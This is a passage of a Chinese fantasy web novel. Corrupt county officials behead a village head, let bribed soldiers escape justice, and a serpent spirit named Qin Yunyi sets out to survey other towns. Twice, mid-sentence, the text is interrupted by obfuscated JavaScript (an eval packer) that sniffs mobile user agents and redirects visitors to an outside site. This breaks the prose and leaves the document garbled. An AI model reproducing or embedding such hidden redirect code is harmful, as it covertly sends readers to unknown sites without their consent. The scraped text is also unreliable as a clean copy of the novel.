“你看看黑死坳那些孩子!最小的才四岁,就差一点,就差一点被他们像宰牲口一样按在案板上,血放干了扔进锅里。而剩下的那些受你恩惠的乡民,有的如今早已经被煮干净了,煮成一锅糊糊,进了那群胡人还有邪术士的肚中——我说,田德,那口锅,也得有你的一份!” “我错了……我错了……秦主事!不,先生饶命……饶命啊!”田里正浑身抖得像筛糠,由于恐惧,大把大把的鼻涕和眼泪正从他的五官落下。 “饶命?呵,你觉得,你的命能够值几个钱?陈宅那个家伙我待会就去收拾他,至于你,你现在就给我滚去县衙,把你做的、你知道的,一五一十全部给我说出来,把该认的罪认了,该偿的命偿了——这就是你最后的机会!” 秦云意一脚踹在田里正脸上,后者在地上滚了几圈,哭得说不出话,只能拼命点头。 26. 斩首 一日之后。 “所以——照你这么说,那这个秦云意,很可疑喽?” 县堂内,蓝主簿坐在椅子上,他端着茶碗盖,正慢条斯理地喝着茶。那郑县尉就坐在他对面,闻见茶香,只是鼻子动了动,脸色却不大好看。 “岂止一般可疑……你看看,黑死坳那山崩,塌得未免太巧!那些兵痞伤得也巧,说是砸伤,可我让军医验了,那军医说,砸肯定是有的,但其中有几处伤,却不像是那石头砸的……噢,还有,那三个黑袍人,说是脊柱全碎了,余生只能躺在床上——这哪像是山崩能砸出来的呢?” “哦?那你的意思是……” “那秦云意,我看呐,恐怕不简单。”郑县尉摸了摸胡子。 “而且,就在他走后没多久,当天夜晚,那清水乡的田里正就一把鼻涕一把泪地跑来县衙了,还有那个陈泰也是,都像是被吓到了,说什么也要磕头认罪……” “田德?那个墙头草?” “就是他。”郑县尉点点头。 “他一进堂,我就派人去问了,结果你猜怎么着?陈泰还好,只是全招了,那田德却吓得直接瘫了,说话都说不利索,我关进牢里再一审,也就全招了——说那些黑袍人在清水乡盘踞多日,就是他和陈宅的陈泰暗中行的方便,更绝的是,掳孩子这主意,也是他们和黑袍术士达成的协议,好像是说什么‘童子血祭山神’……” 蓝主簿沉默了,之后,他竟自顾自地笑了起来。 “倒是条肥羊。”他笑了。 “蓝兄的意思是……”郑县尉有点摸不着头脑。 “你看,田德这家伙,本身就没什么主意,而且还不听我等的话——如今他既然犯了事,那我们就把他撤了,甚至杀了,这样一来,之后,我等还能换个心腹进清水乡任职。要知道,这清水乡可是曲阳城的腹地之地,如此一来,岂不美哉?还有那个陈泰——这家伙也是个富翁,不如趁此机会夺了他资产充公,让他去做苦力,还能削弱这群乡绅的权利……” “好主意!只不过……秦云意那边?” “一个卸了职的白身,掀不起风浪。”蓝主簿淡淡地说道,“而且,他若真的有问题,反倒好了。如今我等手里正好捏着他的把柄,往后说不定有用。” 郑县尉恍然大悟,原来如此!蓝主簿这是要一石三鸟。他既要夺清水乡的控制权,又吞了陈泰家产,还能把秦云意这“疑点”扣在手里,当作日后拿捏的筹码。 “蓝兄,你这招真是绝了!下官佩服!只不过,说到这个,还有那些兵痞——该怎么判啊?” “主犯全部斩了,平平民愤。”蓝主簿喝了口茶。 “剩下的那些……正好,北边不是打仗正缺人吗?扔去充敢死营吧,也算让他们‘戴罪立功’,多好的法子。” 郑县尉点点头,他知道,这案子到这儿,就算“结”了。 …… 县堂上。 田德不知为何又被狱卒拉了出来,由于前些日子的接连审问,此时的他脸色铁青,双眼布满血丝,在一见到朝堂上坐着的徐县丞、蓝主簿、郑县尉等人之后,他“扑通”一声跪在了地上,全身发抖,涕泗横流。 “大人!大……大人。小的……小的知错了……冤枉啊!小的……小的是被那妖道蒙蔽了!是,是他说……他说那是救人啊!说童子血能平息山神怒火,能救全乡百姓,减免战事……啊!小的糊涂!小的该死!” 他边说,边扇自己巴掌。 徐县丞坐在堂上,听完田里正说的话,面色铁青,他和一旁的蓝主簿和郑县尉等人对视一眼,随即怒火中烧。 “好一个‘救人’!你这个里正,居然听信邪道的话,去用孩童性命妄图救民?田德,你这个死脑袋里装的是浆糊?那读的那些圣贤书,全都读到狗肚子里去了?!” “小的真的知罪啊……是小的糊涂,是小的被那陈泰和妖道蒙骗了,是小的听信谗言……求大人开恩,大人开恩……” 田德哑着嗓子哭嚎道,他依旧跪在堂下冰冷的地砖上,浑身颤抖,这家伙的头也在刚刚被自己磕破了,此时血和泪几乎糊了满脸,模样甚是凄惨。 蓝主簿轻咳一声。 “徐大人,依下官看……不必再审了。”他整了整官袖,说道。 徐县丞疑惑地看向他。 “蓝主簿——这是何意?” “田德身为一乡里正,不思护佑乡民,反倒听信邪术,勾结妖人,致多数乡民惨死,还害孩童等人受惊。此等行径,天理难容!律法难恕!依我赵律,应处斩立决,剥夺所有家产,以泄民愤。” “蓝主簿所言有理。”一旁的郑县尉也附和道。 徐县丞看着堂下磕头不止的田主事,又看看一旁神色莫测的蓝、郑二人,只觉头脑发昏。 “此案证据确凿,供词俱全,徐大人为平民愤,正法纪,应当速判速决——直接拖出去,斩了吧。”蓝主簿轻飘飘地补充道,他说的甚是轻松。 语毕,田德慌乱地抬起头,眼睛瞪得大大的,他想继续磕头,还想求饶,可身体就像僵住了一般,什么都反应不过来。 “蓝主簿所言极是,这田德罪大恶极,若不严惩,难平民愤,况且……此人在乡里毕竟有些声望,若从轻发落,只怕百姓不服啊。”郑县尉继续补充。 “本官……” 徐县丞倒吸一口冷气,这蓝主簿和郑县尉,一个唱白脸,一个唱红脸,就像说好了一般,如今秦云意被撤职,王长史又刚走,这么一来……他一个人还有什么能说的呢?就算反对,也不成啊! 这下好了,什么压力全给到了自己头上。 堂下传来一声声闷响,这田德又开始磕头,那血越流越多,在地砖上都形成一滩红色。 “求大人……求大人开恩……小的知错了,小的本意不是这样……”他断断续续地喘道,想必是已经没了力气。而堂外,围观的百姓越来越多,有的嚷着“杀了他”“为民除害”,有的甚至在骂,顺带往县衙里扔着烂菜。 徐县丞闭了眼睛,叹了口气,他知道——自己真没得选了。 “蓝主簿说的对,依律……当斩……” 他揉揉眉心,随后终于像下定什么决心似的,一手拍案,站了起来。 “来人啊,给我把田德拖出去,斩立决!”他指着田德,大声吼道。 随着他一声命令,之后,田德就被两个膀大腰圆的刽子手拖出了县衙,从曲阳镇县衙到菜市口这中间,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153451|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过三里路而已,为了节省劳工劳吏,这田德甚至都没坐上牢车,而是被拖行着走的。一路过去,他的鞋子掉了,脚底板也磨得血肉模糊,还发疯般地念叨着什么“我糊涂……我真糊涂……陈泰害我……道士害我……”之类的话。 “畜生!还我爹命来!” 一个男子红着眼,抓起路边的石块狠狠地向田德砸过去,砸在他的肩膀上,那田德只是闷哼一声,却没喊疼,他一路望过去:这周围全都是市民,有看热闹从别地赶来的百姓,有自己曾经清水乡的乡民,还有…… “田里正……田里正您怎么会……” 一个老妇喃喃道,他看向被押着往菜市口走的田德,心中多有不忍——她记得去年春旱,就是田德开了自家粮仓,顶着上级压力,借粮才勉强给乡里渡难关的。 田里正没有回答。 “呸!什么里正!吃人的帮凶而已,大娘,你别信他,他就是个恶魔,疯子!”有人这样说。 田里正离刑台更近了。 人群如同干旱后寻找水源的过山鲫鱼,也随着他一同跟着移动,边走边嚷嚷着什么。此刻,骂声、哭声、议论声你一言我一句地混成一片,不时还有人朝田德吐口水,有人朝他扔烂菜叶、臭鸡蛋,甚至石头等等。 田德一直睁着眼睛,面对血与垃圾糊满的脸,他什么也没管,只是空洞地望着天。 “刑台已布好!午时将到,可即刻行刑!”前方有人说,声音越来越近了。 田德被押上了刑台。 他低头望着周围的百姓,望着人群悲欢交替的面孔,心中有说不清的情感,可就在这时,他却用余光,扫见了一个他最不想看见的人—— 陈宅的陈泰。 就是这个真正撺掇此事的富户,他此刻就站在人群外围,正被两个家丁护着,脸上藏着劫后余生的庆幸。 “陈泰——!”田德用尽全身力气大声喊。 陈泰没抬眼。 “陈泰——!” 陈泰抬眼了。 “陈泰——!你这个畜牲,你害我——!” 陈泰将眼神瞥向别处。 随后,刽子手按住田德,一把把他按在血迹斑斑的木墩上,那木墩不知已斩过多少人,上面的木纹都被血浸成了暗褐色,在午时的太阳下泛着诡异的光。 “午时三刻到——行刑!” 监斩官正是那郑县尉,这是他的声音,之后,刽子手抬起了刀。 田德最后抬起头来,在毒辣的太阳光下,他一没看刀,二没看监斩官,而是看向刑台下方——那里站着几位清水乡的乡民,其中有他的长辈,有曾受过他恩惠的佃户,有他曾经照顾过的孩童,还有……他的娘。 “我……”看见亲人的面孔时,他终于哭了。 “对不住……各位……我真的以为……能靠它救清水乡的百姓……” “行刑!” 刀光闪下。 接着,那血从田德的脖颈断口猛地喷涌而出,直直溅了刽子手一身,也溅了最靠近的几个百姓一脸,随后,一颗瞪大着眼睛的头颅滚落,在刑台上咕噜噜转了两圈,最后终于停了下来。 …… ………… ……………… 27. 法网恢恢? “死得好!死得好!罪人!疯子!偿命!” 霎时,人群爆发出癫狂的叫好声,那田德人头分离的尸首瘫倒在刑台上,慢慢变得僵硬了,他的血液就这样哗啦啦地流着,一直滴,一直渗,渗到地面上,形成一洼粘稠的血潭,映着人们的身躯,映着人们狂喜的脸。 郑县尉站在监斩台上,见此,什么话都没有说,他面无表情地看着田德的尸首,也面无表情地盯着众人的小声。其中唯有他身后的小吏弓着腰,慢慢地挪了过来,低声向他说了些什么。 “大人,是否可以……”他问。 “等血流尽——等他流干净再说。”他面无表情地回答。 说实在的,田德的血不同于往日寻常囚犯,不知为何,它真的流了很久,久到人们都开始觉得站的腿酸,甚至被毒辣的太阳光照着发闷,巴不得快点能看着尸体运走,早点离开这个鬼地方。 好在最后,那血终于流尽了——它变成了深褐色。 郑县尉终于挥了挥手,两个差役立刻如释重负般地走上前,像拖死狗一样把田德的尸体拖下刑台,扔上板车,那田德的脑袋则被另一个在台上的随手捡起,竟像抛绣球似的,直接朝下面的两位差役那边扔去,结果——呃,没扔准,这圆滚滚的玩意跳了一下,滚到车板边沿,差点掉在地上。 “切,什么技术……”两个差役白了上面的一眼,随后伸手将脑袋拨了回去。 结果,就在这差役忙着收尸的当口,人群里又有人不断往前挤,说什么也要打一下那田德。毕竟这对在场许多人而言,可能算得上是这辈子最痛快的时辰了,要不是差役们用齐眉棍死死拦着,这田德的尸体,怕是真的要被人撕成碎片——管你什么原因,总之,先赚个痛快再说。 只不过,民众的这份痛快,也就只持续了短短一炷香的时间罢了。 下一秒,一匹快马冲进了菜市口,来着是县衙的人,只不过,那马走的很急,马背上的那位年轻衙役满头大汗,手里好像还拿着什么,似乎就是刚刚由县衙写好的告示…… “告示,那是什么?”人群窃窃私语。 差役到了,他翻身下马,快速地跑布到郑县尉身边,附耳向他低语了几句什么,而闻言,郑县尉眉头只是皱了皱,随后便摆了摆手,即刻表示同意了。 “多谢郑大人。”小吏行礼,他俯下身,掏出浆糊桶,用刷子抹上浆糊,只“啪”的一声就把告示贴在了墙上。 “这又是……” 人们安静了,全部瞪大着眼睛,其中,唯有一个识字的清水乡老书生凑上了前。 “黑风坳溃兵案主犯,胡人首领及清水乡田德,罪大恶极,斩立决!陈泰助纣为虐,罚没家产,充苦役三年!其余溃兵从犯,念其受妖道蛊惑,且有悔过之意,更兼国难当头,判处充入边军敢死营,戴罪立功!” 他眯着眼,缓缓地念着告示的内容,但在念到“戴罪立功”这几个字的时候,他的嘴唇哆嗦了一下。 “敢……敢死营,那是什么……”有人不解地问。 “就是……就是战场上冲在最前头的营。”一个老兵模样的人好心地给周围人解释。 “我之前也进去过,侥幸活了下来,假如九个人进去,能活一个就算祖宗积德……九死一生啊!” 话音未落,第二个衙役又贴出了第二张告示。这张比之前那张更大,措辞更详尽,还密密麻麻写满了字,说什么叫做“敢死营”,什么叫做“戴罪立功”,什么叫做“国难当头、用人之际”……总之,只要是和判决有关的内容,他们把这玩意解释得明明白白。 “那,照县衙说的……去敢死营?那不就是单纯送死吗?我觉得还行啊?”有人摸不着头脑。 “送死?切!你也太天真了吧,这年头,所谓的送死也是条活路!你没听见吗?他说‘戴罪立功’!意思就是,只要他们在战场上‘侥幸’地活下来,再稍微‘侥幸’地立个功,这些吃人畜生的罪就能一笔勾销!说不定还能混个军功老爷的名号回来,然后继续家财万贯!”另有人反驳他道。 闻言,人们倒吸一口冷气。 “凭什么?!那我弟弟还被他们吃了,又该怎么说?他们把我弟弟……像宰羊一样剁了胳膊和腿!凭什么我弟弟死了,他们还能有‘活路’?!” 人群之中,突然有人吼道,人们回头望去,这是一个中年男子,眼睛红红的,手上正抱着他弟弟的衣褂,上面还残留有血。 “是啊!说那陈泰只判三年苦役,他刚刚不还在这儿自由走动吗?他家的金山银山呢?他那些家产又去哪儿了?难道不能分给咱们这些苦主吗?凭什么他还能活着!” 随着情绪的蔓延,人们再次开始变得愤恨,方才看着田德被杀的欢呼、痛快、宣泄,此刻,一并变成了更深的痛苦和无力——虽然田德死了,那他们认为的公道就来了吗?开什么玩笑!是另一场不公的开始到了,而且,就现在! “告示内容就这些!此乃主簿、县丞与我等官员的合议!如有违抗者,一并关入大牢!” 郑县尉义正言辞地朗声道,他把目光对向自己手下的差役们,后者立刻心领神会,开始驱赶聚集的人群,一手棍棒,一手盾牌,若有 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“我听见有人说,说那些兵痞头目的家眷给蓝主簿、郑县尉送了整箱的金子!还说敢死营里有他们的人,进去就是走个过场,打几仗就能立功回来!”周三刚从人群里挤回来,他一屁股坐在凳子上,懊恼而咬牙切齿地敲着桌子。 “秦先生,您说,这可怎么办?这群兵痞,不是人,不是人啊……” 秦云意没有回答,一旁的徐伯也无语,只是一味地给秦云意兑茶。 “秦先生,你当初就在那边,你看见了那些人吃人的惨状么?你说说看,这些家伙,干的不是人事!一群狼心狗肺的畜牲!没想到,这些人在后续居然还能有机会‘平反,你说说,这究竟是什么世道,什么世道啊!” 周三再次懊恼地说着,他光顾着自己去了,丝毫没有注意身旁秦云意的脸色变化。 …… 早知道,就把他们……杀了。 这是秦云意的第一想法。 假如当时……他真的做到了,真的把他们全部杀了,如果他没有选择报官,没有选择相信这所谓的“王法”,而是用他自己的方式解决的话,所有人,那些吃了人的兵痞,那个为虎作伥的陈泰,可以说是一个都跑不了。 他确实可以做到。 可是…… …… 秦云意喝完了茶,他放下碗,碗底磕在木桌上,发出‘嘭’的一声闷响。 周三还在愤愤不平地说着什么,在他的身旁,徐伯看了看秦云意的脸色,又看了看周三,最后轻轻拽了拽后者的衣袖,摇了摇头。 28. 将行 “秦先生……我,不好意思,方才我有些激动了,乱了你的心思,真是抱歉……” 周三见秦云意罕见地露出了那种神色,忙连声道歉道,他扣着手,左右看看,如今站也不是,坐也不是,那心中由于刚才县衙的事,总像是裹着个石头一样,上不去不说,同样也下不来。 “不必……”秦云意叹了口气,放下茶碗。 “对了,说到这个……那马六那边,商路的事他如何了?我记得前些日子他就该回复了。” “其实我刚正想跟您说这个,结果忘了……” 周三挠挠头,他咳嗽了一声,将身子弯下,把脸凑得更近了。 “马六前日……捎来口信,说东南边,就是旧宋国地界,那儿有批货卡在半路了。如今战事吃紧,齐国、楚国、魏国这三国都争着要那地盘,路都走不过去,所以货主急得跳脚,说愿意出大价钱找本地人疏通……” “货?”秦云意挑起眉毛。 “是,就像之前说的,这货啊,里面可能有不少宝贝,所以……那马六问您……问您有没有兴趣牵个线?” “秦先生,这浑水可淌不得!您如今无官无职,何必又如此认真?更何况,那块是如今三国交战之地,再加上燕赵之间的摩擦,那便是五国了——秦先生,听老夫一句劝吧,这您真的沾不得!” 一旁,一直在舀水的徐伯突然开口了,他转过身,脸上带着少见的严肃和紧张,他盯着秦云意,咳嗽了一下,希望对方能够明白他的意思。 周三看了看徐伯的脸。 “啊……是是是,是的,秦先生,那儿地你可沾不得,沾不得呀!虽然马六这么说,可你知道那儿吗?那地方,现在就算是个修罗场!像什么溃兵、流寇、邪教……全部都在那里,吃人都不吐骨头的!秦先生,您有这心思,我们真的心领了,但是比起风险,我们老百姓更想看到周围人安稳地活着啊!您说对不对?” 周三像懂了什么似的,连忙附和道,他朝徐伯挤挤眼睛,对方随即也点了点头。 “是啊,秦先生,秦公子,如今世道混乱,您懂得记账,又懂医药,还体恤百姓……能做到这些,已经十分不容易了。老夫还记得你先前几天给我的那些个治咳嗽的方子,果真有效,不久之后我和老伴就被治好了!你瞧——前几日周三也咳嗽,这不,这不也是被你的茶包治好的嘛!” 徐伯指向一旁的周三,周三听到这话,连忙左右蹦跳了几下,仿佛是在彰显活力一般。 “对对对,徐伯说得在理——我全好了!秦大公子,你呀就听我等一句劝吧,你既有善心,不如……不如去当个行医郎中什么的,在这乱世之下,说不定还有活法,至于那送货……我等看啊,风险还是太大了,沾不得!”周三笑了。 “有理,有理!”徐伯点点头。 秦云意静静地听着周三和徐伯一唱一和地劝他,他知道周三等人是真心为他好,他们眼里的担忧和急切,都不是假的,毕竟对他们而言,作为平民老百姓,能安安稳稳地活着就已经是万幸了,何必再去搅这趟浑水呢? “我明白二位的意思……这趟浑水,确实凶险。”秦云意放下碗,认真说道。 周三和徐伯同时松了口气,以为他终于听进去了。 “可有些事……总不是“安安稳稳”就能装看不见的,而且,我最近……确实想出去走走……” “什么?出去走走?秦先生想去哪儿?”周三一愣。 “还没定,我记得之前曾跟你们说过,说曲阳待久了,有些闷,所以想看看外面的天地。顺带我也想看看,看看别的城、别的县,别的地方,是不是也都像这样……这般的场景。” “可这外面这战事……这……这也太不太平了吧。” 徐伯头一次把话说的这么多,他是真的有点着急了。 “正是想看看这些不太平!我就是看看这世道,到底烂成了什么样。”秦云意站了起来。 周三和徐伯对视一眼,都从对方眼里看到了对眼前这位秦先生的担忧。 “秦先生,您是不是……还在想黑死坳那事?” 周三缓缓上前一步说道。他这一说,把秦云意说的一愣。 “那些事……唉,你想想,咱小老百姓能怎么办?田德死了,主犯砍了,剩下的充军……官府判了,咱还能说啥唉?您就算再想,最后,也只是纯给自己添堵呀!” 他继续补充。 “实在不行——我说,秦先生,你心情不好,那这几天,我们几个去酒楼搓一顿吧,反正钱还够,我那儿也没有啥活儿计,而且好久也没吃到好饭好菜了,光是散散心也好——你意下觉得如何?” “秦先生,这世道就是这样,官字两张口,怎么说怎么有理!咱们能保住自己,能帮衬点街坊,已经算积德了嘛,至于那些……那些太远的事,管不了的,管不了的……周三说的对,我们到时候啊,去酒楼一趟,正好休息休息,也算我们友谊一场。”徐伯忙接话道。 秦云意听着,面色纠结万分——管不了?那如果人人都说管不了,百姓就白死了?士兵就白死了?那些披上“戴罪立功”外衣的畜生,就不白死?就能心安理得地继续活着? 怎么可以?! 秦云意垂下眼。 “二位的好意,我心领了,但这趟,秦某认为,我……是非走不可了,之后就算不用马六,我也会……另找出去的法子。” “什么?!秦先生,您可万万考虑啊,我周三!前几天干活时,就听见有支商队在那儿被劫了,全队三十多号人,一个都没回来!就像之前的说的,全被啃成骨头了!”周三有点慌了。 “谁啃的?”秦云意忽然有了兴趣。 “还能是什么?人呗!那地方饿疯了的人,跟野兽没两样!杀人又吃人!秦先生,您就算武功再好,运气再好,也架不住他们人多啊!而且……而且那儿还有邪教!全部逮着活人活动物炼法的邪教,这您怎么可以一个人去呢?” “周三,徐伯。”秦云意平静地扫视二人担忧的脸,“我知道你们二位是为了我好,不过,二位的好意,我心领了,关于出行这一方面的事……我意已决。” “什么?!”二人同时瞪大眼睛,声调瞬间拉高,把旁边还在沉溺于县衙告示的路人的眼光都拉了回来,引得众人频频侧目。 秦云意没有回答,只是信步朝外走去。 “不可啊!秦先生,不可啊!”周三三步并两步地冲过去,一把抱住了秦云意的腰腿,然后蹲了下来,还没等秦云意反应过来,徐伯也蹒跚着走了 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“秦先生……您这是何苦啊……”周三在远处摇着头,他始终参不透秦云意的想法,从最初是这样开始,现在,也是这样。 秦云意脚步顿了顿,他回过头来。 “周三……”秦云意的声音很轻。 “我有点想问问你,如果有一天,你看见有人在你面前吃人——你会怎么办?” 周三愣住了。 “如果官府判那人戴罪立功,让他继续活着,甚至可能活得比你好……你会怎么办?” 周三张了张嘴,说不出话。 秦云意笑了笑。 “我嘛,就是想去看看,去试试而已。”他继续说道。 “我想看看这世道,是不是真的烂到了这个地步,烂到无可救药,烂到是人是鬼是妖都救不了……我还想看看这个世界究竟有没有‘正义’存在,倘若人们真的需要……那我……我就成为这个‘正义’……” 说完,他转过身,身影没入在熙熙攘攘的人群之中。 周三和徐伯愣愣地站在原地,二人看着他的背影消失,心中很不是个滋味。 徐伯走过来,拍了拍周三的肩,他什么都没说,只是叹了口气。 “这……秦先生……心里有事,算了,我等无论如何都是劝不回他的——或许等之后,等他亲身经历了那些,到时就会明白了吧……”他喃喃自语。 “他这是……这是要去寻死吗?”周三呆滞着。 徐伯沉默良久,缓缓摇头。 “不像,老夫认为,他最终,倒像是……要去寻个答案吧。” “什么答案?” 徐伯没回答,只是望着秦云意消失的方向,他再次拍了拍周三的肩膀,将失魂落魄的后者拉了回来,按在了茶摊椅子上。 …… 夜色渐沉了,今晚云雾缭绕。 县衙大牢外的高墙下,一个奇特的身影不知何时溜了过来,正缓缓地显现出它的模样:那是一条黑红色的玄蛇,有羽无鳞——正是秦云意,他此刻竟现出了真身,在云层、在阴影处如雾般缓缓地游动,飞行,与他同行的唯有周围打更夫的悠长而遥远的高喊: “天干物燥——小心火烛——” 29. 云游四方① 秦云意走近了,他藏身在阴影里,抬起那只蛟头,那双红色的眼睛轻易地穿过了墙壁,注视着大牢深处的景象——在那里,几间牢房正关押着刚不久被判入“敢死营”的兵痞,他们一个或两个的全都蜷缩在发霉的草席上,脸上却没有半分悔改或恐慌,相反,这里的多数人反而还正在有说有笑地聊天,仿佛自己只是换了个地方歇脚,而不是坐牢罢了。 “……得亏老子命大!没赶上像田德那样斩头的那一拨。不然,那可就惨喽!啧啧,你们是没瞧见?那刽子手的刀,磨得锃亮!一刀下去,刷啦!血能喷起三尺高!那田德脑袋就掉地上了,所以虽说咱们这是个敢死营,不过,好歹是一条生路吧……” 一人劫后余生般地说道,语气里满是庆幸。 “生路?老康,你这话说得未免也太丧气了,敢死营怎么了?总比咱们的脑袋搬家强!” 旁边另一个胡人嗤笑道,之后,他又开始说起来。 “嘘,你们都别说出去,我偷偷跟你们说啊——我表哥,在军中,有门路!只要打点好了银子,咱们进去,只是走个过场而已,到时候随便捡个功劳,说不定还能混个官身回来!” “嘿嘿,好啊!好啊!等咱们什么时候从那敢死营回来了,到时候,咱也是大功臣、大英雄了!” 另一个胡人兵痞笑嘻嘻地露出一口黄牙,好巧不巧,此人正是当日在清水乡,当着秦云意的面将刀架在孩子脖子上的头目之一,此刻他正靠墙坐着,脸上并没有丝毫愧色,反而悠然自得。待众人笑罢,最后,这家伙甚至哼起了不成调的小曲,手指在膝盖上轻轻敲着拍子,仿佛在回味什么乐事。 众人闻见,竟也幽幽地唱了起来,那是只有北部游牧人才懂得的小调,至于汉人?他们想,汉人怎么配知道这首歌的内容呢?! 这群兵痞…… 秦云意咬着牙,把头扭了过去,它身形向前攒动了一番,接着把目光转移到它对面的牢房上——这是单独关押着陈泰的牢房,这位昔日的陈泰陈老爷,如今蓬头垢面,几乎辨不出人样,秦云意本以为这家伙会得到应得的报应,可结果就在下一秒,一个狱卒就提着食盒走来了,态度竟还带着几分恭敬。 “老爷,这是您家里人吩咐我给你的肉粥,您趁热吃吃吧,别亏了自己!” 狱卒谄媚地把手上的物品递了上去,秦云意定睛一看,发现里面并非寻常囚犯的糙米稀粥,而是一碗热气腾腾,米粒饱满的肉粥——这粥面还浮着一层油花,清晰可见几片肥瘦相间的肉片…… 这样的吃食,莫说牢狱,便是外头许多百姓家里也难得一见! 秦云意看着这陈泰接过碗去,慢条斯理地开始吃着饭,吃完他甚至还用袖子擦了擦嘴,继续悠闲地靠在墙上——这三年苦役,陈泰虽说被判在了牢狱中,但……只要这家伙家里打点好了,说不定一年半载之后就能出来,有的家产是没了,可命还在,人脉还在……往后,往后他总有机会。 而隔壁那些兵痞,所谓的“敢死营”,对某些人而言,或许也真的只是一条另类的“生路”,甚至是钻营晋升的跳板…… 秦云意看着,他看了很久,它有无数的思绪想要说清,可最后千言万语,终于只化作了沉默。 …… 秦云意缓缓退出了牢狱阴影,这次,它彻底用法术隐蔽了身形,化为一条巨大的长蛇,张开羽翼,融入夜色,腾空直朝天空飞去。 如果……只有曲阳城是这样呢?那别的城市又如何呢? 于是,秦云意决定去赵国的边境看看,看看别的城市的现象,是否真的与曲阳不同,还是就像周三之前曾经提到的一句话:“天下乌鸦一般黑”。 如果有不同的话,它……仍然还有理由。 秦云意增加了自己的速度,此刻,它也不想管什么道士不道士的了,它向前穿梭,任凭夜色下的山河在身下飞速倒退,它飞掠过沉睡的村镇,掠过蜿蜒如带的河流,掠过成片荒芜的田野……一路飞去,战乱的痕迹无处不在,几乎处处都是被焚毁的村落废墟,其中还有被一遗弃在管道旁的白骨,全身上下都已经已被野兽啃食得残缺不全,看不清原本的模样。 ——这里是曾经都是赵国的沃土,曾经的圣地。如今,这片地域却满目疮痍,四周的蒿草和芦苇长的高高的,看不到一点人的踪迹——人都死了,不死也得死。 这就是上面所谓的“盛世”? 秦云意心中再次郁结万千,随着太阳的升起,他干脆落进一处山林,重新化为人形,顺便换了身不起眼的行商打扮,去到了一个全新的地方—— 赵国的平陶城。 这平陶城距离曲阳,大约百里,只不过这城管理的较为封闭,秦云意本计划着看看这里的民情,可没想到那城内市集竟然还比曲阳西市更为萧条,摊位更加稀少!一路走来,货物甚为粗糙不说,就连蔬菜也是蔫头耷脑的,连一点新鲜的感觉都没有。 “什么?粮老板,你说,这价格又涨了?”突然,一道惊呼声从右边传来。 秦云意寻着这股声音看去——那里是粮铺,只见粮老板把牌子上的数字划去,然后又补充了一个新的数字——着实高得吓人。 “我能有啥办法,要问去问上面吧——我也是要做生意啊!”粮老板委屈地回答。 秦云意抿着嘴,并未理会粮摊众人的争吵声,而是继续向前走去,这一次,他来到了城墙边上的摊位,摊位旁,一两个书生模样的人正小声地在议论平陶城的事情,而秦云意就默默地站在一边,用耳朵偷听着他们的对话。 “都这么吓人……这交钱交粮,都预支到明后年了?说是国捐,可到最后,我们这些人捐的钱粮又进了谁的口袋?阿水啊,我偷偷告诉你,我听说,那县令老爷,还刚在城南置了座三进的大宅子呢……” “何止啊!你没听说吗,那老爷的女婿还把持着城里的盐铁买卖,盐价翻了三倍不止,他管的铁器更离谱,一把锄头敢要半石粟米——呸!这还让我们这些老百姓怎么活啊?!”一人愤慨地锤着桌子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153454|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘘!小点声!你不要命了?”另一个立马捂住对方的嘴。 “我听说,前街,那个姓刘的,就因抱怨了一句,当天晚上就被人揭发、抓进了衙门,还判了叛国罪,之后头立马就被砍了,家都给抄干净了!”他继续补充道。 “文字狱!”另一个唔唔地叫道。 …… 这平陶城,未免和曲阳城也太像了…… 秦云意叹了口气,他整理好衣服,继续向前走去,这次,他来到了熟悉的县衙,好巧不巧,在这儿,几个差役正拖着一个浑身是血,奄奄一息的老妪走了出来。 “老东西!欠税不交,还敢来告状?滚!再敢踏进衙门半步,下次,老子就打断你另一条腿!” 差役骂骂咧咧地离开了,老妪就这么被他们扔在街上不管不顾。周围行人匆匆,有人见到这一幕,大多也都是低头、加快脚步绕开,那些个少数驻足远观的,眼中也只有畏惧,只是小声评头论足,无人上前,更无人出声。最后还是几个实在看不下去的年轻人掺起了她,整理好老妪的衣服,把她抬着向家中走去…… 秦云意站在这,默默的看着众人,这次,他站了很久,看着衙门口因为大大小小的琐事接连不断地吵嚷,接连不断的闹事,其中甚至有几个差役,看见他一直在一旁看热闹,也装腔作势地要用棍棒赶他离开,叫他滚。 “唉,你!我们没见过你啊,你说,你是从哪儿来的?”为首的是一个胖胖的差役,他凶神恶煞地拿着棍棒,用手指着秦云意,大声地叫道。 “我看你貌似很像……一个通缉犯啊!说,路引何在?来平陶做什么?” 见秦云意光紧闭着嘴不说话,他于是说的更起劲了,可没想到下一秒,秦云意的脚就已经踢到了他的脸上。 在众人惊讶的目光中,秦云意飞也似的跑了,只留下那骂骂咧咧、后脑勺着地的差役,和一群想要追他的官兵在身后。 “死刁民!反了!反了天了!!!” 差役头头含糊不清地大嚷道,腮帮子高高肿起,手指还始终指着秦云意消失的方向……之后,那挨打的差役信誓旦旦跟县衙说,说那逃犯定是奸细,指不定就藏在城中某处。可是,这群衙役们折腾了半日,还是没能找到秦云意去了哪里,最终只在卷宗上草草记下一笔“疑似逃犯拒捕伤人遁走”,便不了了之了。 没人知道的是,就在他们掘地三尺时,秦云意早已经化作真身,离开了平陶。 “或许……只是因为平陶太小、太偏?所以民风才会如此嘛?” 